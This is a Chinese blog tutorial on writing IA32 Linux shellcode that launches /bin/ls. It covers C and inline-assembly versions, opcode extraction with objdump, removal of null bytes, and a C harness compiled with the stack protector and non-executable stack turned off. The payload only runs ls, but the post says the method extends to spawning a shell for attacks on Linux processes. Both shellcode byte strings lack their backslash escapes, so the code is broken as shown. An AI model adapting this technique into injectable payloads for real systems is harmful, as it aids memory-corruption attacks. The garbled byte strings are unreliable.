概述
编写一个启动/bin/ls的shellcode
- 一、学习过程
- 二、学习结果(已踩完坑)
- 三、扩展阅读
一、学习过程
1.ls.c的编写、编译即验证
(1) 编写ls.c
#include <unistd.h>
void foo() {
char* name[2];
name[0] = "/bin/ls";
name[1] = NULL;
execve(name[0], name, NULL);
}
int main(int argc, char* argv[]) {
foo();
return 0;
}
(2) 编译ls.c : gcc ls.c -o ls
(3) 验证ls正确性
①由编写的ls.c实现
②linux命令ls结果
成功验证ls正确
2.查看调用sysenter前的寄存器值
(1) 一些列反编译
①disas foo
流程:gdb ls进入调试过程,按照上述①②后开始run®
②disas execve
流程:调用execve之前反汇编execve,在call处设置断点后,执行c(continue)
③进入内核的虚拟系统调用
流程:上文执行c后会有点问题,改用si
④disas __kernel_vsyscall (2个_)
⑤查看调用sysenter前的寄存器值
流程:按照上述的⑤操作后,执行c,然后接下来要执行的如⑥的图所示 sysenter,这时候,查看寄存器的值
解读:
1)eax保存了execve的系统调用号11;
2)ebx保存字符串name[0] = "/bin/ls"这个指针,如下图所示:
3)ecx保存字符串数组name这个指针,如下图所示:
指向0x8048560;
4)edx为0
⑥调用sysenter, 跳转到/bin/ls
(2) 总结
无需调用execve函数,直接用相同的寄存器的值调用sysenter即可达到相同的目标。
这也就是为啥要查看调用sysenter前的寄存器值
3.ls_asm.c的编写、编译即验证
(1) 编写ls_asm.c
void foo() {
__asm__(
"mov $0x0,%edx;"
"push %edx;"
"push $0x00736c2f;"
"push $0x6e69622f;"
"mov %esp,%ebx;"
"push %edx;"
"push %ebx;"
"mov %esp,%ecx;"
"mov $0xb,%eax;"
"int $0x80;"
);
}
int main(int argc, char* argv[]) {
foo();
return 0;
}
解释:
/bin的ASCII码(0x) : 2f 62 69 6e
/ls的ASCII码(0x) : 2f 6c 73
由于栈底是高地址,栈顶是低地址,所以需要从右往左push,即:
“push $0x00736c2f;”
“push $0x6e69622f;”
(2) 编译ls_asm.c
(3) 验证ls_asm正确性
4.编写一个启动/bin/ls的shellcode
(1)前言
从可执行文件中提取出操作码,作为字符串保存为shellcode,并用C程序验证。
(2)从可执行文件中提取出操作码 : objdump
其中地址范围在[0x80483de, 0x80483f9]的二进制代码是shellcode所需的操作码,将其按顺序放到字符串中去,该字符串就是实现指定功能的shellcode。
(3) 编写ls_asm_badcode.c
1) 源代码
char shellcode[] = "xbax00x00x00x00x52x68x2fx6cx73x00x68x2fx62x69x6ex89xe3x52x53x89xe1xb8x0bx00x00x00xcdx80";
void main() {
((void(*)())shellcode)();
}
2)编译
gcc -fno-stack-protector -z execstack -o ls_asm_badcode ls_asm_badcode.c
3)验证
5.存在的问题
虽然该 shellcode能实现期望的功能,但 shellcode中存在字符"x00",而"x00"是字符串结束标志。
由于 shellcode是要拷贝到缓冲区中去的,在"x00"之后的代码将丢弃。因此, shellcode中不能存在"x00"。
6.两种方法避免 shellcode中的"x00"
(1) 修改汇编代码,用别的汇编指令代替会出现机器码"x00"的汇编指令,比如用xor %edx,%edx代替mov $0x0,%edx。这种方法适合简短的 shellcode;
(2) 对shellcode进行编码,把解码程序和编码后的 shellcode作为新的shellcode
7.本篇博文采用第1种方法
1)用xor %edx,%edx代替mov $0x0,%edx。
2)用**//bin/ls代替/bin/ls**,汇编码变为:
push $0x736c2f6e;
push $0x69622f2f;
解释:
3)用lea 0xb(%edx),%eax代替mov $0xb,%eax
8.替换后的结果见"二"
二、学习结果(已踩完坑)
1.newLs.c源代码
#include <unistd.h>
void foo() {
char* name[2];
name[0] = "//bin/ls"; //注意,这里是//bin/ls
name[1] = NULL;
execve(name[0], name, NULL);
}
int main(int argc, char* argv[]) {
foo();
return 0;
}
2.newLs_asm.c源代码
void foo() {
__asm__(
"xor %edx,%edx;"
"push %edx;"
"push $0x736c2f6e;"
"push $0x69622f2f;"
"mov %esp,%ebx;"
"push %edx;"
"push %ebx;"
"mov %esp,%ecx;"
"lea 0xb(%edx),%eax;"
"int $0x80;"
);
}
int main(int argc, char* argv[]) {
foo();
return 0;
}
3.newLs_asm_badcode.c的编写过程(编写一个启动/bin/ls的shellcode)
(1)获取shellcode所需的操作码
(2)newLs_asm_badcode.c的源代码
char shellcode[] = "x31xd2x52x68x6ex2fx6cx73x68x2fx2fx62x69x89xe3x52x53x89xe1x8dx42x0bxcdx80";
void main() {
((void(*)())shellcode)();
}
(3)newLs_asm_badcode.c的编译
(4)newLs_asm_badcode.c的验证
4.总结
该 shellcode在目标进程空间运行后将实现ls命令,依次类推也可以实现shell命令,从而可以用于对任何 Linux IA32进程的攻击。
三、扩展阅读
1.需求 : VMware Tools安装
2.需求:Linux下的解压命令小结
3.知识 : linux程序的常用保护机制
涉及:①-fno-stack-protector;②-z execstack
最后
以上就是虚心睫毛膏为你收集整理的编写一个启动/bin/ls的shellcode(含VMware Tools安装)一、学习过程二、学习结果(已踩完坑)三、扩展阅读的全部内容,希望文章能够帮你解决编写一个启动/bin/ls的shellcode(含VMware Tools安装)一、学习过程二、学习结果(已踩完坑)三、扩展阅读所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复